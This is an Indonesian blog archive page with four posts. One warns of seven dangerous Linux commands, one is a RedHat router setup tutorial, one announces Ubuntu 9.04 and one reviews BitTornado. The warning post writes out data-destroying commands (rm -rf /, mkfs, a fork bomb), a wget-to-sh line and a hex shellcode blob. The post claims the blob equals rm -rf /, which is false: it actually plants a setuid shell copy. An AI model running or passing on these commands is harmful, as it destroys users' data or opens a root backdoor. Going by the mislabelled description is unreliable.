Tampilkan postingan dengan label Linux. Tampilkan semua postingan
Tampilkan postingan dengan label Linux. Tampilkan semua postingan

Selasa, 26 Mei 2009

7 Perintah Mematikan di Linux

Linux terkenal karena aspek keamanan penggunaan. Virus yang berteman baik dengan Windows misalnya, harus mencari cara yang sangat rumit untuk bisa menembus Linux.

Meski demikian, dunia yang fana ini (hehehe…) merupakan tempat bagi beragam orang dengan berbagai sifat. Para penjahat dan psikopat bisa saja menyamar di berbagai forum dan mailing list, dan alih-alih memberikan solusi justru bisa membuat anda menderita. Adakalanya perintah-perintah berbahaya di Linux dijadikan sebagai lelucon untuk menggoda (meski berbagai distro memiliki etika dan guiding principle yang melarang lelucon berbahaya) meski ada juga yang memang berniat menjebak orang lain.

Berikut adalah 7 perintah berbahaya yang disarikan dari 7 Deadly Command :

    1. Perintah rm -rf /
    Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri.

    2. Perintah menggunakan bilangan hexa

      char esp[] __attribute__ ((section(”.text”))) /* e.s.p
      release */
      = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
      “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
      “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
      “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
      “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
      “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
      “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
      “cp -p /bin/sh /tmp/.beyond; chmod 4755
      /tmp/.beyond;”;

    Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman.

    3. Perintah mkfs.ext3 /dev/sda
    Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk.

    4. Perintah forkbomb :(){:|:&};:
    Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

    5. Perintah apapun > /dev
    Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)

    6. Perintah untuk eksekusi file shell tertentu
    Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

    7. Perintah memindahkan home folder ke /dev/null
    mv /home/home-directory/* /dev/null
    Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup…

Selain 7 perintah diatas, ada beberapa perintah lainnya yang mungkin belum dimasukkan disini. Prinsip hati-hati dalam menjalankan suatu perintah merupakan hal mutlak yang harus selalu diingat oleh pengguna Linux.

More about “7 Perintah Mematikan di Linux”  »»

Rabu, 29 April 2009

Setting Router Di RedHat 9.0

Berikut cara-cara setting router di linu redhat 9.0.
silahkan mencoba. IP Address yang tercantum dalam tutorial ini, hanya sebagai gambaran dalam melakukan setting saja, sehingga jika dibuat manjadi sesuatu kenyataan di lapangan harap disesuaikan dengan kenyataan yang ada. Berikut adalah skema jaringan yang akan dibangun.

Pertama yang harus di lakukan adalah mensetting serv(gateway utama) supaya bisa terhubung ke internet
Sebelum Mensetting :
1.Minta IP public ke ISP lengkap dengan netmask,broadcast dan dns nya
misalnya :

    IP: 202.169.229.25
    GATEWAY : 202.169.229.1
    Nemast: 255.255.255.192
    broadcast : 202.192.224.63
    DNS1: 202.169.224.3
    DNS2: 202.169.224.4

2.Menentukan IP local yang akan kita gunakan buat client

    Setting IP serv :
    1.[root@serv root]$ vi /etc/sysconfig/network
    lalu isi dengan :

      NETWORKING=yes
      HOSTNAME=serv.domain.com
      GATEWAY=202.169.229.1

    lalu simpan dengan menekan :wq

2.Menconfigurasi IP eth0(default)

[root@serv root]$ vi /etc/sysconfig/network-scripts/ifcfg-eth0
lalu isi dengan :

DEVICE=eth0
BOOTPROTO=static
IPADDR=202.169.229.25
BROADCAST=202.169.229.63
NETMASK=255.255.255.192
ONBOOT=yes
USERCTL=no

lalu simpan dengan menekan :wq

3.Setting dns resolve

[root@serv root]$ vi /etc/resolve.conf
lalu isi dengan nameserver dari isp kita tadi :

nameserver 202.169.224.3
nameserver 202.169.224.4

lalu simpan dengan menekan :wq

4.Setting ip_forwarding

[root@serv cachak]$ vi /etc/sysctl.conf

rubah net.ipv4.ip_forward = 0 menjadi net.ipv4.ip_forward = 1
atau kalau gak ada net.ipv4.ip_forward = 0 tambahin net.ipv4.ip_forward = 1

simpan dengan menekan :wq

5.restart network
[root@serv cachak]$ /etc/init.d/network restart
Shutting down interface eth0: [ OK ]
Shutting down loopback interface: [ OK ]
Disabling IPv4 packet forwarding: [ OK ]
Setting network parameters: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth0: [ OK ]

[root@www root]#chkconfig –level 2345 network on
[root@www root]#

6.testing dengan ping ke default gateway 202.169.229.1

[root@serv root]$ ping 202.159.121.1
Pinging 202.169.229.1 with 32 bytes of data:
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63

Ping statistics for 202.169.229.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms

7.testing untuk ngeping google.com untuk ngecek dns nya
kalau muncul :
PING google.com (216.239.39.99) 56(84) bytes of data.
berarti dns kita untuk serv dah bekerja, tapi kalau muncul :
ping: unknown host google.com
berarti dns yang kita isikan di /etc/resolve.conf masih salah,silahkan cek lagi ke ISP nya )

nah bereskan sudah setting IP untuk serv nya )
supaya serv ini bisa sekaligus di gunakan sebagai ns server oleh client maka harus di install daemon bind atau daemon nameserver yang lain
atau kalau sudah ada tinggal hidupin Bind nya

[root@www root]# /etc/init.d/named restart
Stopping named: [ OK ]
Starting named: [ OK ]
[root@www root]#chkconfig –level 2345 named on
[root@www root]#

misalnya ip ke client adalah :
192.168.0.1/24
IP : 192.168.0.1
netmask : 255.255.255.0
broadcast : 192.168.0.255
RANGE IP CLIENT : 192.168.0.2-192.168.0.254

Setting ip untuk eth1 (yang ke client)
1.memberi IP 192.168.0.1 di eth1
[root@serv cachak]$ vi /etc/sysconfig/network-scripts/ifcfg-eth1
lalu isi dengan :

DEVICE=eth1
BOOTPROTO=static
IPADDR=192.168.0.1
NETMASK=255.255.255.0
BROADCAST=192.168.0.255
ONBOOT=yes
USERCTL=no

lalu simpan dengan menekan :wq

2.Restart networknya

[root@serv root]$ /etc/init.d/network restart
Shutting down interface eth0: [ OK ]
Shutting down interface eth1: [ OK ]
Shutting down loopback interface: [ OK ]
Disabling IPv4 packet forwarding: [ OK ]
Setting network parameters: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth0: [ OK ]
Bringing up interface eth1: [ OK ]

3.Testing dengan cara ping ip eth1
[root@serv cachak]$ ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=63 time=0.356 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=63 time=0.269 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=63 time=0.267 ms
64 bytes from 192.168.0.1: icmp_seq=4 ttl=63 time=0.268 ms

— 192.168.0.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.267/0.290/0.356/0.038 ms

Tinggal Setting IP computer client dengan ketentuan di bawah ini :

IP: 192.168.0.2 - 192.168.0.254
GATEWAY: 192.168.0.1
NETMASK: 255.255.255.0
BROADCAST: 192.168.0.255
NAMESERVER: 192.168.0.1

misal :

    Client01
    ===============================
    IP: 192.168.0.2
    GATEWAY: 192.168.0.1
    NETMASK: 255.255.255.0
    BROADCAST: 192.168.0.255
    NAMESERVER: 192.168.0.1

    Client02
    ===============================
    IP: 192.168.0.3
    GATEWAY: 192.168.0.1
    NETMASK: 255.255.255.0
    BROADCAST: 192.168.0.255
    NAMESERVER: 192.168.0.1

dan seterusnya sesuai banyaknya client,yang berubah hanya IP
untuk client windows maka setting IP di bagian Start Menu/Setting/Control Panel/Network

setelah di setting ip client, maka coba ping ke 192.168.0.1 dari client,kalau berhasil berarti client dan serv nya sudah tersambung.

More about “Setting Router Di RedHat 9.0”  »»

Senin, 27 April 2009

Saatnya Mencicipi Ubuntu 9.04 Jaunty Jackalope

Kabar gembira untuk maniak Ubuntu. Pasalnya Ubuntu seri paling "gress" sudah resmi dirilis. Kabar tentang Ubuntu yang akan menggelontor versi 9.04 sebenarnya sudah beredar sejak akhir tahun 2008, dan kini saat yang dinanti pun tiba.

Tepat pada hari Kamis (23/4), proyek Ubuntu 9.04 (Jaunty Jackalope) resmi dirilis. Jaunty Jackalope merupakan rilis kesepuluh dari sekian proyek Ubuntu sejak tahun 2004 silam. Ubuntu teranyar ini mengemas tiga versi, yaitu Desktop, Server dan Netbook Remix. Masing-masing versi tersebut dikembangkan sesuai dengan kebutuhan pengguna Ubuntu.

Ada beberapa peningkatan yang dikemas ke dalam Jaunty, salah satunya adalah waktu boot. Seperti versi Ubuntu lainnya yang selalu diambil berdasarkan nama hewan, demikian halnya dengan Jackalope. Jackalope terkenal gesit dan sulit ditangkap. Jaunty juga mampu mengintegrasikan layanan web dan aplikasi desktop menjadi weblication (aplikasi desktop yang terintegrasi kuat dengan web).

Versi terbaru Ubuntu ini juga membundel fitur-fitur terbaru, antara lain GNOME 2.26, sistem notifikasi terbaru, proses booting yang semakin gesit, dukungan Ext4, Linux kernel 2.6.28, dukungan untuk Cloud computing dan lain-lain. Jaunty Jackalope akan di-support melalui security update selama 18 bulan. Upgrade ke Ubuntu 9.04 juga dapat dilakukan melalui versi 8.10. Tertarik mencicipi Jaunty Jackalope? Anda dapat mengunduh melalui link berikut ubuntu.com

More about “Saatnya Mencicipi Ubuntu 9.04 Jaunty Jackalope”  »»

BitTornado

Tampilan dan fungsi BitTornado tak berbeda jauh dengan aplikasi klien resmi untuk jaringan BitTorrent, meski ada beberapa penyesuian. Bahkan, kinerjanya lebih baik. Hanya saja, tampilan antarmukanya memang tak menarik dan ramah pengguna.

Perbedaan BitTornado dibandingkan dengan aplikasi resmi adalah kemampuan untuk menyesuaikan jumlah data yang diunduh dan diunggah ke tingkat maksimum. Tersedia pula pengaturan kinerja untuk menyesuaikan jenis sambungan Internet yang dipakai pengguna.

Aplikasi ini menyediakan informasi detil mengenai koneksi PC Anda ke peers lain. Tersedia pula fitur UPnP Port Forwarding, dukungan IPv6 support, dan dukungan PE/MSE. Untuk mempercepat kinerja, aplikasi ini menyediakan superseeding mode yang dikembangkan oleh kelompok pengembangnya.

BitTornado disusun berbasis platform Python oleh seorang programmer bernama John Hoffman. Karenanya, aplikasi ini dapat digunakan pada server yang mendukung aplikasi python, tanpa memerlukan akses root. Torrentflux merupakan PHP front-end untuk BitTornado, tetapi karena sumber daya yang terbatas, banyak web host yang memblokir skrip dan kode yang digunakannya.

More about “BitTornado”  »»

My Award

award 1 award 2 award 2

Comment Please...


ShoutMix chat widget

My Visitor

free counters
 

My Code Link

(udd) blog

My Traffic

Blog Terbaik Indonesia 100 Blog Indonesia Terbaik  Add to Technorati FavoritesMy Ping in TotalPing.com
Top Global Site

Followers